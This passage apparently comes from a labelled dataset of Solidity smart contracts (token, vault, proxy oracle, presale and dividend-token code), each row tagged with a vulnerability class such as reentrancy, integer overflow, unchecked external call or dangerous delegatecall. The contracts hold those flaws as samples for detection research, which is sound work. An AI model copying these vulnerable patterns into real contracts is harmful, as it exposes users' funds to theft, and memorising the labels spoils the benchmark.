} function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } }",./Dataset/integer overflow (OF)/,4,4 44652.sol,"/** * $$$$$$\ $$\ $$\ * $$ __$$\ $$ | $$ | * $$ / \__|$$$$$$$\ $$$$$$\ $$ | $$\ $$$$$$\ $$$$$$\ * \$$$$$$\ $$ __$$\ \____$$\ $$ | $$ |$$ __$$\ $$ __$$\ * \____$$\ $$ | $$ | $$$$$$$ |$$$$$$ / $$$$$$$$ |$$ | \__| * $$\ $$ |$$ | $$ |$$ __$$ |$$ _$$< $$ ____|$$ | * \$$$$$$ |$$ | $$ |\$$$$$$$ |$$ | \$$\ \$$$$$$$\ $$ | * \______/ \__| \__| \_______|\__| \__| \_______|\__| * $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ * ____________________________________________________________ */ pragma solidity >=0.4.23 <0.6.0; import ""./interfaces/ERC20Interface.sol""; import ""./Mocks/SafeMath.sol""; contract RedpacketVaultV2 { using SafeMath for uint256; ERC20Interface private erc20; address public erc20Address; uint256 public totalAmount = 0; // Total amount of deposit uint256 public totalBalance = 0; // Total balance of deposit after Withdrawal struct Commitment { // Deposit Commitment uint256 status; // If there is no this commitment or balance is zeor, false uint256 amount; // Deposit balance address payable sender; // Who make this deposit uint256 timestamp; // Deposit timestamp string memo; // Memo while send redpacket address[] takenAddresses; // uint256 withdrawTimes; uint256 cliff; } mapping(bytes32 => Commitment) private commitments; mapping(address => bytes32[]) private hashKeys; address public operator; address public redpacketManagerAddress; modifier onlyOperator { require(msg.sender == operator, ""Only operator can call this function.""); _; } modifier onlyRedpacketManager { require(msg.sender == redpacketManagerAddress, ""Only redpacket manager contract can call this function.""); _; } constructor(address _erc20Address) public { operator = msg.sender; erc20Address = _erc20Address; erc20 = ERC20Interface(erc20Address); } function setStatus(bytes32 _hashkey, uint256 _status) external onlyRedpacketManager { commitments[_hashkey].status = _status; } function setAmount(bytes32 _hashkey, uint256 _amount) external onlyRedpacketManager { commitments[_hashkey].amount = _amount; } function setSender(bytes32 _hashkey, address payable _sender) external onlyRedpacketManager { commitments[_hashkey].sender = _sender; if(hashKeys[_sender].length == 0) hashKeys[_sender] = new bytes32[](0); hashKeys[_sender].push(_hashkey); } function setTimestamp(bytes32 _hashkey, uint256 _timestamp) external onlyRedpacketManager { commitments[_hashkey].timestamp = _timestamp; } function setMemo(bytes32 _hashkey, string calldata _memo) external onlyRedpacketManager { commitments[_hashkey].memo = _memo; } function setWithdrawTimes(bytes32 _hashkey, uint256 _times) external onlyRedpacketManager { commitments[_hashkey].withdrawTimes = _times; } function setCliff(bytes32 _hashkey, uint256 _cliff) external onlyRedpacketManager { commitments[_hashkey].cliff = _cliff; } function initTakenAddresses(bytes32 _hashkey) external onlyRedpacketManager { commitments[_hashkey].takenAddresses = new address[](0); } function isTaken(bytes32 _hashkey, address _address) external view returns(bool) { bool has = false; for(uint256 i = 0; i < commitments[_hashkey].takenAddresses.length; i++) { if(_address == commitments[_hashkey].takenAddresses[i]) {has = true; break;} } return has; } function addTakenAddress(bytes32 _hashkey, address _address) external onlyRedpacketManager { commitments[_hashkey].takenAddresses.push(_address); } function getHashkeysBySender() external view returns(bytes32[] memory) { bytes32[] memory hashkeys = new bytes32[](hashKeys[msg.sender].length); for(uint256 i = 0; i < hashKeys[msg.sender].length; i++) { if(this.getAmount(hashKeys[msg.sender][i]) == 0) continue; hashkeys[i] = hashKeys[msg.sender][i]; } return hashkeys; } function getStatus(bytes32 _hashkey) external view onlyRedpacketManager returns(uint256) { return commitments[_hashkey].status; } function getAmount(bytes32 _hashkey) external view returns(uint256) { return commitments[_hashkey].amount; } function getSender(bytes32 _hashkey) external view onlyRedpacketManager returns(address payable) { return commitments[_hashkey].sender; } function getTimestamp(bytes32 _hashkey) external view onlyRedpacketManager returns(uint256) { return commitments[_hashkey].timestamp; } function getMemo(bytes32 _hashkey) external view onlyRedpacketManager returns(string memory) { return commitments[_hashkey].memo; } function getWithdrawTimes(bytes32 _hashkey) external view onlyRedpacketManager returns(uint256) { return commitments[_hashkey].withdrawTimes; } function getCliff(bytes32 _hashkey) external view onlyRedpacketManager returns(uint256) { return commitments[_hashkey].cliff; } function updateOperator(address _operator) external onlyOperator { operator = _operator; } function updateRedpacketManagerAddress(address _redpacketManager, uint256 _allowance) external onlyOperator returns(bool) { redpacketManagerAddress = _redpacketManager; // Approve redpacket manager contract safeApprove(erc20Address, _redpacketManager, _allowance); return true; } function getRedpacketAllowance() external view returns(uint256) { return erc20.allowance(address(this), redpacketManagerAddress); } function addTotalAmount(uint256 _amount) external onlyRedpacketManager { totalAmount = totalAmount.add(_amount); } function addTotalBalance(uint256 _amount) external onlyRedpacketManager { totalBalance = totalBalance.add(_amount); } function subTotalBalance(uint256 _amount) external onlyRedpacketManager { totalBalance = totalBalance.sub(_amount); } function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } } ",./Dataset/unchecked external call (UC),7,7 2004.sol,"pragma solidity ^0.4.24; contract Oracle { function isOutcomeSet() public view returns (bool); function getOutcome() public view returns (int); } contract Proxied { address public masterCopy; } contract Proxy is Proxied { constructor(address _masterCopy) public { require(_masterCopy != 0); masterCopy = _masterCopy; } function () external payable { address _masterCopy = masterCopy; assembly { calldatacopy(0, 0, calldatasize()) let success := delegatecall(not(0), _masterCopy, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) } } } contract CentralizedBugOracleData { event OwnerReplacement(address indexed newOwner); event OutcomeAssignment(int outcome); address public owner; bytes public ipfsHash; bool public isSet; int public outcome; address public maker; address public taker; modifier isOwner () { require(msg.sender == owner); _; } } contract CentralizedBugOracleProxy is Proxy, CentralizedBugOracleData { constructor(address proxied, address _owner, bytes _ipfsHash, address _maker, address _taker) public Proxy(proxied) { require(_ipfsHash.length == 46); owner = _owner; ipfsHash = _ipfsHash; maker = _maker; taker = _taker; } } contract CentralizedBugOracle is Proxied,Oracle, CentralizedBugOracleData{ function setOutcome(int _outcome) public isOwner { require(!isSet); _setOutcome(_outcome); } function isOutcomeSet() public view returns (bool) { return isSet; } function getOutcome() public view returns (int) { return outcome; } function _setOutcome(int _outcome) internal { isSet = true; outcome = _outcome; emit OutcomeAssignment(_outcome); } }",./Dataset/dangerous delegatecall (DE)/,1,1 31356.sol,"pragma solidity ^0.4.19; /** * HauroPay Presale. More info www.hauropay.com. * Designed by www.coincrowd.it. */ /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() internal { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Authorizable * @dev The Authorizable contract has authorized addresses, and provides basic authorization control * functions, this simplifies the implementation of ""multiple user permissions"". */ contract Authorizable is Ownable { mapping(address => bool) public authorized; event AuthorizationSet(address indexed addressAuthorized, bool indexed authorization); /** * @dev The Authorizable constructor sets the first `authorized` of the contract to the sender * account. */ function Authorizable() public { authorized[msg.sender] = true; } /** * @dev Throws if called by any account other than the authorized. */ modifier onlyAuthorized() { require(authorized[msg.sender]); _; } /** * @dev Allows the current owner to set an authorization. * @param addressAuthorized The address to change authorization. */ function setAuthorized(address addressAuthorized, bool authorization) onlyOwner public { AuthorizationSet(addressAuthorized, authorization); authorized[addressAuthorized] = authorization; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token from an address to another specified address * @param _sender The address to transfer from. * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transferFunction(address _sender, address _to, uint256 _value) internal returns (bool) { require(_to != address(0)); require(_to != address(this)); require(_value <= balances[_sender]); // SafeMath.sub will throw if there is not enough balance. balances[_sender] = balances[_sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(_sender, _to, _value); return true; } /** * @dev transfer token for a specified address (BasicToken transfer method) */ function transfer(address _to, uint256 _value) public returns (bool) { return transferFunction(msg.sender, _to, _value); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract ERC223TokenCompatible is BasicToken { using SafeMath for uint256; event Transfer(address indexed from, address indexed to, uint256 value, bytes indexed data); // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint256 _value, bytes _data, string _custom_fallback) public returns (bool success) { require(_to != address(0)); require(_to != address(this)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if( isContract(_to) ) { _to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data); } Transfer(msg.sender, _to, _value, _data); return true; } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint256 _value, bytes _data) public returns (bool success) { return transfer( _to, _value, _data, ""tokenFallback(address,uint256,bytes)""); } //assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint256 length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length>0); } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_to != address(this)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Startable * @dev Base contract which allows owner to implement an start mechanism without ever being stopped more. */ contract Startable is Ownable, Authorizable { event Start(); bool public started = false; /** * @dev Modifier to make a function callable only when the contract is started. */ modifier whenStarted() { require( started || authorized[msg.sender] ); _; } /** * @dev called by the owner to start, go to normal state */ function start() onlyOwner public { started = true; Start(); } } /** * @title Startable token * * @dev StandardToken modified with startable transfers. **/ contract StartToken is Startable, ERC223TokenCompatible, StandardToken { function transfer(address _to, uint256 _value) public whenStarted returns (bool) { return super.transfer(_to, _value); } function transfer(address _to, uint256 _value, bytes _data) public whenStarted returns (bool) { return super.transfer(_to, _value, _data); } function transfer(address _to, uint256 _value, bytes _data, string _custom_fallback) public whenStarted returns (bool) { return super.transfer(_to, _value, _data, _custom_fallback); } function transferFrom(address _from, address _to, uint256 _value) public whenStarted returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenStarted returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenStarted returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenStarted returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract HumanStandardToken is StandardToken, StartToken { /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { approve(_spender, _value); require(_spender.call(bytes4(keccak256(""receiveApproval(address,uint256,bytes)"")), msg.sender, _value, _extraData)); return true; } } contract BurnToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Function to burn tokens. * @param _burner The address of token holder. * @param _value The amount of token to be burned. */ function burnFunction(address _burner, uint256 _value) internal returns (bool) { require(_value > 0); require(_value <= balances[_burner]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_burner] = balances[_burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(_burner, _value); return true; } /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public returns(bool) { return burnFunction(msg.sender, _value); } /** * @dev Burns tokens from one address * @param _from address The address which you want to burn tokens from * @param _value uint256 the amount of tokens to be burned */ function burnFrom(address _from, uint256 _value) public returns (bool) { require(_value <= allowed[_from][msg.sender]); // check if it has the budget allowed burnFunction(_from, _value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); return true; } } contract OriginToken is Authorizable, BasicToken, BurnToken { /** * @dev transfer token from tx.orgin to a specified address (onlyAuthorized contract) */ function originTransfer(address _to, uint256 _value) onlyAuthorized public returns (bool) { return transferFunction(tx.origin, _to, _value); } /** * @dev Burns a specific amount of tokens from tx.orgin. (onlyAuthorized contract) * @param _value The amount of token to be burned. */ function originBurn(uint256 _value) onlyAuthorized public returns(bool) { return burnFunction(tx.origin, _value); } } contract Token is ERC223TokenCompatible, StandardToken, StartToken, HumanStandardToken, BurnToken, OriginToken { uint256 public totalSupply; uint256 public initialSupply; uint8 public decimals; string public name; string public symbol; function Token(uint256 _totalSupply, uint8 _decimals, string _name, string _symbol) public { decimals = _decimals; totalSupply = _totalSupply * 10 ** uint(decimals); initialSupply = totalSupply; name = _name; symbol = _symbol; balances[msg.sender] = totalSupply; Transfer(0, msg.sender, totalSupply); } } contract Presale is Ownable { using SafeMath for uint256; Token public tokenContract; uint8 public decimals; uint256 public tokenValue; // 1 Token in wei uint256 public centToken; // euro cents value of 1 token uint256 public endTime; // seconds from 1970-01-01T00:00:00Z uint256 public startTime; // seconds from 1970-01-01T00:00:00Z function Presale() public { //Configuration centToken = 25; // Euro cents value of 1 token tokenValue = 402693728269933; // centToken in wei of ether 04/12/2017 startTime = 1513625400; // 18/12/2017 20:30 UTC+1 endTime = 1516476600; // 20/01/2018 20:30 UTC+1 uint256 totalSupply = 12000000; // 12.000.000 * 0.25€ = 3.000.000€ CAPPED decimals = 18; string memory name = ""MethaVoucher""; string memory symbol = ""MTV""; //End Configuration tokenContract = new Token(totalSupply, decimals, name, symbol); //tokenContract.setAuthorized(this, true); // Authorizable constructor set msg.sender to true tokenContract.transferOwnership(msg.sender); } address public updater; // account in charge of updating the token value event UpdateValue(uint256 newValue); function updateValue(uint256 newValue) public { require(msg.sender == updater || msg.sender == owner); tokenValue = newValue; UpdateValue(newValue); } function updateUpdater(address newUpdater) public onlyOwner { updater = newUpdater; } function updateTime(uint256 _newStart, uint256 _newEnd) public onlyOwner { if ( _newStart != 0 ) startTime = _newStart; if ( _newEnd != 0 ) endTime = _newEnd; } event Buy(address buyer, uint256 value); function buy(address _buyer) public payable returns(uint256) { require(now > startTime); // check if started require(now < endTime); // check if ended require(msg.value > 0); uint256 remainingTokens = tokenContract.balanceOf(this); require( remainingTokens > 0 ); // Check if there are any remaining tokens uint256 oneToken = 10 ** uint256(decimals); uint256 tokenAmount = msg.value.mul(oneToken).div(tokenValue); if ( remainingTokens < tokenAmount ) { uint256 refund = (tokenAmount - remainingTokens).mul(tokenValue).div(oneToken); tokenAmount = remainingTokens; owner.transfer(msg.value-refund); remainingTokens = 0; // set remaining token to 0 _buyer.transfer(refund); } else { remainingTokens = remainingTokens.sub(tokenAmount); // update remaining token without bonus owner.transfer(msg.value); } tokenContract.transfer(_buyer, tokenAmount); Buy(_buyer, tokenAmount); return tokenAmount; } function withdraw(address to, uint256 value) public onlyOwner { to.transfer(value); } function updateTokenContract(address _tokenContract) public onlyOwner { tokenContract = Token(_tokenContract); } function withdrawTokens(address to, uint256 value) public onlyOwner returns (bool) { return tokenContract.transfer(to, value); } function () public payable { buy(msg.sender); } }",./Dataset/reentrancy (RE)/,5,5 0x025cd28d7ef83e1c2ffe511d5f9290d54ba5dcf0_ProductionUnitToken.sol,"pragma solidity 0.4.20; /* * Team AppX presents - Moon, Inc. | Competitive Ethereum Idle Pyramid * * - You can buy workers with ETH to increase your cookies production. * - You can sell your cookies and claim a proportion of the cookie fund. * - You cannot sell cookies within the first hour of a new production unit launch. * - The selling price of a cookie depends on the Cookie Fund and the total cookies supply, the formula is: * CookiePrice = CookieFund / TotalCookieSupply * Multiplier * * Where Multiplier is a number from 0.5 to 1, which starts with 0.5 after a new production unit started, and reaches maximum value (1) after 5 days. * - You can sell your workers at any time like normal tokens * */ /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ProductionUnitToken { /*================================= = MODIFIERS = =================================*/ /// @dev Only people with tokens modifier onlyBagholders { require(myTokens() > 0); _; } /// @dev Only people with profits modifier onlyStronghands { require(myDividends(true) > 0); _; } /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy, uint timestamp, uint256 price ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned, uint timestamp, uint256 price ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); // ERC20 event Transfer( address indexed from, address indexed to, uint256 tokens ); /*===================================== = DEPENDENCIES = =====================================*/ // MoonInc contract MoonInc public moonIncContract; /*===================================== = CONFIGURABLES = =====================================*/ string public name = ""Production Unit | Moon, Inc.""; string public symbol = ""ProductionUnit""; uint8 constant public decimals = 18; /// @dev dividends for token purchase uint8 public entryFee_; /// @dev dividends for token transfer uint8 public transferFee_; /// @dev dividends for token selling uint8 public exitFee_; /// @dev 20% of entryFee_ is given to referrer uint8 constant internal refferalFee_ = 20; uint256 public tokenPriceInitial_; // original is 0.0000001 ether uint256 public tokenPriceIncremental_; // original is 0.00000001 ether uint256 constant internal magnitude = 2 ** 64; /// @dev proof of stake (10 tokens) uint256 public stakingRequirement = 10e18; // cookie production multiplier (how many cookies do 1 token make per second) uint256 public cookieProductionMultiplier; // auto start timer uint256 public startTime; // Maximum amount of dev one time pre-mine mapping(address => uint) public ambassadorsMaxPremine; mapping(address => bool) public ambassadorsPremined; mapping(address => address) public ambassadorsPrerequisite; /*================================= = DATASETS = ================================*/ // amount of shares for each address (scaled number) mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; uint256 internal tokenSupply_; /*======================================= = PUBLIC FUNCTIONS = =======================================*/ /// @dev Set the MoonInc contract address to notify when token amount changes function ProductionUnitToken( address _moonIncContractAddress, uint8 _entryFee, uint8 _transferFee, uint8 _exitFee, uint _tokenPriceInitial, uint _tokenPriceIncremental, uint _cookieProductionMultiplier, uint _startTime ) public { moonIncContract = MoonInc(_moonIncContractAddress); entryFee_ = _entryFee; transferFee_ = _transferFee; exitFee_ = _exitFee; tokenPriceInitial_ = _tokenPriceInitial; tokenPriceIncremental_ = _tokenPriceIncremental; cookieProductionMultiplier = _cookieProductionMultiplier; startTime = _startTime; // Set ambassadors' maximum one time pre-mine amount (Total 1.29 ETH pre-mine). uint BETA_DIVISOR = 1000; // TODO: remove this in main launch contract // MA ambassadorsMaxPremine[0xFEA0904ACc8Df0F3288b6583f60B86c36Ea52AcD] = 0.28 ether / BETA_DIVISOR; ambassadorsPremined[address(0)] = true; // first ambassador don't need prerequisite // BL ambassadorsMaxPremine[0xc951D3463EbBa4e9Ec8dDfe1f42bc5895C46eC8f] = 0.28 ether / BETA_DIVISOR; ambassadorsPrerequisite[0xc951D3463EbBa4e9Ec8dDfe1f42bc5895C46eC8f] = 0xFEA0904ACc8Df0F3288b6583f60B86c36Ea52AcD; // PH ambassadorsMaxPremine[0x183feBd8828a9ac6c70C0e27FbF441b93004fC05] = 0.28 ether / BETA_DIVISOR; ambassadorsPrerequisite[0x183feBd8828a9ac6c70C0e27FbF441b93004fC05] = 0xc951D3463EbBa4e9Ec8dDfe1f42bc5895C46eC8f; // RS ambassadorsMaxPremine[0x1fbc2Ca750E003A56d706C595b49a0A430EBA92d] = 0.09 ether / BETA_DIVISOR; ambassadorsPrerequisite[0x1fbc2Ca750E003A56d706C595b49a0A430EBA92d] = 0x183feBd8828a9ac6c70C0e27FbF441b93004fC05; // LN ambassadorsMaxPremine[0x41F29054E7c0BC59a8AF10f3a6e7C0E53B334e05] = 0.09 ether / BETA_DIVISOR; ambassadorsPrerequisite[0x41F29054E7c0BC59a8AF10f3a6e7C0E53B334e05] = 0x1fbc2Ca750E003A56d706C595b49a0A430EBA92d; // LE ambassadorsMaxPremine[0x15Fda64fCdbcA27a60Aa8c6ca882Aa3e1DE4Ea41] = 0.09 ether / BETA_DIVISOR; ambassadorsPrerequisite[0x15Fda64fCdbcA27a60Aa8c6ca882Aa3e1DE4Ea41] = 0x41F29054E7c0BC59a8AF10f3a6e7C0E53B334e05; // MI ambassadorsMaxPremine[0x0a3239799518E7F7F339867A4739282014b97Dcf] = 0.09 ether / BETA_DIVISOR; ambassadorsPrerequisite[0x0a3239799518E7F7F339867A4739282014b97Dcf] = 0x15Fda64fCdbcA27a60Aa8c6ca882Aa3e1DE4Ea41; // PO ambassadorsMaxPremine[0x31529d5Ab0D299D9b0594B7f2ef3515Be668AA87] = 0.09 ether / BETA_DIVISOR; ambassadorsPrerequisite[0x31529d5Ab0D299D9b0594B7f2ef3515Be668AA87] = 0x0a3239799518E7F7F339867A4739282014b97Dcf; } /// @dev Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any) function buy(address _referredBy) public payable returns (uint256) { purchaseTokens(msg.value, _referredBy); } /** * @dev Fallback function to handle ethereum that was send straight to the contract * Unfortunately we cannot use a referral address this way. */ function() payable public { purchaseTokens(msg.value, 0x0); } /// @dev Converts all of caller's dividends to tokens. function reinvest() onlyStronghands public { // fetch dividends uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code // pay out the dividends virtually address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // retrieve ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // dispatch a buy order with the virtualized ""withdrawn dividends"" uint256 _tokens = purchaseTokens(_dividends, 0x0); // fire event onReinvestment(_customerAddress, _dividends, _tokens); } /// @dev Alias of sell() and withdraw(). function exit() public { // get token count for caller & sell them all address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if (_tokens > 0) sell(_tokens); // lambo delivery service withdraw(); } /// @dev Withdraws all of the callers earnings. function withdraw() onlyStronghands public { // setup data address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); // get ref. bonus later in the code // update dividend tracker payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // add ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // lambo delivery service _customerAddress.transfer(_dividends); // fire event onWithdraw(_customerAddress, _dividends); } /// @dev Liquifies tokens to ethereum. function sell(uint256 _amountOfTokens) onlyBagholders public { require(now >= startTime); // setup data address _customerAddress = msg.sender; // russian hackers BTFO require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); // burn the sold tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); // update dividends tracker int256 _updatedPayouts = (int256) (_taxedEthereum * magnitude); payoutsTo_[_customerAddress] -= _updatedPayouts; // Tell MoonInc contract for tokens amount change, and transfer dividends. moonIncContract.handleProductionDecrease.value(_dividends)(_customerAddress, _tokens * cookieProductionMultiplier); // fire event onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice()); } /** * @dev Transfer tokens from the caller to a new holder. * Remember, there's a fee here as well. */ function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) { // setup address _customerAddress = msg.sender; // make sure we have the requested tokens require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); // withdraw all outstanding dividends first if (myDividends(true) > 0) { withdraw(); } // liquify 10% of the tokens that are transfered // these are dispersed to shareholders uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100); uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); uint256 _dividends = tokensToEthereum_(_tokenFee); // burn the fee tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee); // exchange tokens tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); // Tell MoonInc contract for tokens amount change, and transfer dividends. moonIncContract.handleProductionDecrease.value(_dividends)(_customerAddress, _amountOfTokens * cookieProductionMultiplier); moonIncContract.handleProductionIncrease(_toAddress, _taxedTokens * cookieProductionMultiplier); // fire event Transfer(_customerAddress, _toAddress, _taxedTokens); // ERC20 return true; } /*===================================== = HELPERS AND CALCULATORS = =====================================*/ function getSettings() public view returns (uint8, uint8, uint8, uint256, uint256, uint256, uint256) { return (entryFee_, transferFee_, exitFee_, tokenPriceInitial_, tokenPriceIncremental_, cookieProductionMultiplier, startTime); } /** * @dev Method to view the current Ethereum stored in the contract * Example: totalEthereumBalance() */ function totalEthereumBalance() public view returns (uint256) { return this.balance; } /// @dev Retrieve the total token supply. function totalSupply() public view returns (uint256) { return tokenSupply_; } /// @dev Retrieve the tokens owned by the 